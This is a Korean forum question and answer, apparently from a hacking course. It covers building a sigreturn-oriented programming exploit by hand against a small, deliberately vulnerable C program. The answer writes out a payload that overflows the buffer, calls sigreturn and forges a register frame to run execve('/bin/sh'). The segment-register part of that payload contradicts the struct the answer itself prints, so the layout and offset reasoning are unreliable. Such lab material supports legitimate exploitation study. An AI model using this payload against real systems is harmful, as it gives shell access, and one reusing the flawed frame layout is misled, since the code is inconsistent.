Pwntools의 SigreturnFrame()를 사용하지 않고 직접 페이로드를 구성해서 Srop 익스플로잇 코드를 작성하고 싶었습니다. 여기서 이해되지 않는 부분이 sigreturn 시스템콜 호출을 통해서 스택에 있는 값들이 레지스터에 복사가 된다고 했는데 스택에서 어디 부분부터 레지스터에 복사가 되나요? 예시를 위해 이 문제의 코드를 기준으로 질문을 드리겠습니다.
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
위 소스 코드의 바이너리에서 srop를 하기 위한 기본적인 페이로드 구성은 다음과 같습니다.
payload = b'A'*16 # buf
payload += b'B'*8 # sfp
payload += p64(gadget) # pop rax; syscall; ret
payload += p64(15) # sigreturn
위처럼 페이로드를 구성한 뒤에 payload += bytes(frame)을 통해서 익스플로잇을 하는 것이 강의에서 사용했던 방식입니다. 여기서 제가 궁금한 것이 SigreturnFrame()을 사용하지 않고 페이로드를 구성한다고 했을 때 저 페이로드 기준으로 스택에 몇 오프셋부터 값을 덮어야 그 값이 레지스터에 복사가 되나요?
(이해가 되지 않아 강의를 여러번 보고, 관련된 Srop 글들을 봤는데도 딱히 저 오프셋 관련된 부분에 대한 답을 구하지 못 했습니다.)
SigreturnFrame을 사용하지 않고 수동으로 값을 입력하려면
struct sigcontext
{
unsigned long r8;
unsigned long r9;
unsigned long r10;
unsigned long r11;
unsigned long r12;
unsigned long r13;
unsigned long r14;
unsigned long r15;
unsigned long rdi;
unsigned long rsi;
unsigned long rbp;
unsigned long rbx;
unsigned long rdx;
unsigned long rax;
unsigned long rcx;
unsigned long rsp;
unsigned long rip;
unsigned long eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
unsigned long err;
unsigned long trapno;
unsigned long oldmask;
unsigned long cr2;
struct _fpstate * fpstate;
unsigned long __reserved1 [8];
};
위와 같은 sigcontext 구조체에 맞춰서 페이로드를 작성해야 하기 때문에
execve("/bin/sh", 0, 0);
을 실행하는거라고 가정하면
...
payload = b'A'*16 # buf
payload += b'B'*8 # sfp
payload += p64(gadget) # pop rax; syscall; ret
payload += p64(15) # sigreturn
payload += p64(0x0)*5 #uc_flags, &uc, uc_stack.ss_sp, uc_stack.ss_flags, uc_stack.ss_size
payload += p64(0x0) #R8
payload += p64(0x0) #R9
payload += p64(0x0) #R10
payload += p64(0x0) #R11
payload += p64(0x0) #R12
payload += p64(0x0) #R13
payload += p64(0x0) #R14
payload += p64(0x0) #R15
payload += p64([/bin/sh 문자열의 주소]) #RDI
payload += p64(0x0) #RSI
payload += p64(0x0) #RBP
payload += p64(0x0) #RBX
payload += p64(0x0) #RDX
payload += p64(0x3b) #RAX
payload += p64(0x0) #RCX
payload += p64(0x0) #RSP
payload += p64([syscall의 주소]) #RIP
payload += p64(0x0) #eflags
payload += p64(0x33) #cs
payload += p64(0x0) #gs
payload += p64(0x0) #fs
payload += p64(0x2b) #ss
위와 같이 페이로드를 작성할 수 있습니다.
따라서 시그널 처리에 사용되는 필드들을 제외하고 첫 필드인 r8의 값을 덮는 위치까지를 기준으로 오프셋을 계산해보면
버퍼 16바이트 + sfp 8바이트 + 리턴 8바이트 + sigreturn 번호 8바이트 + 필드 패딩 40(8 * 5)바이트 이므로
총 80바이트가 오프셋이 될 것 같습니다.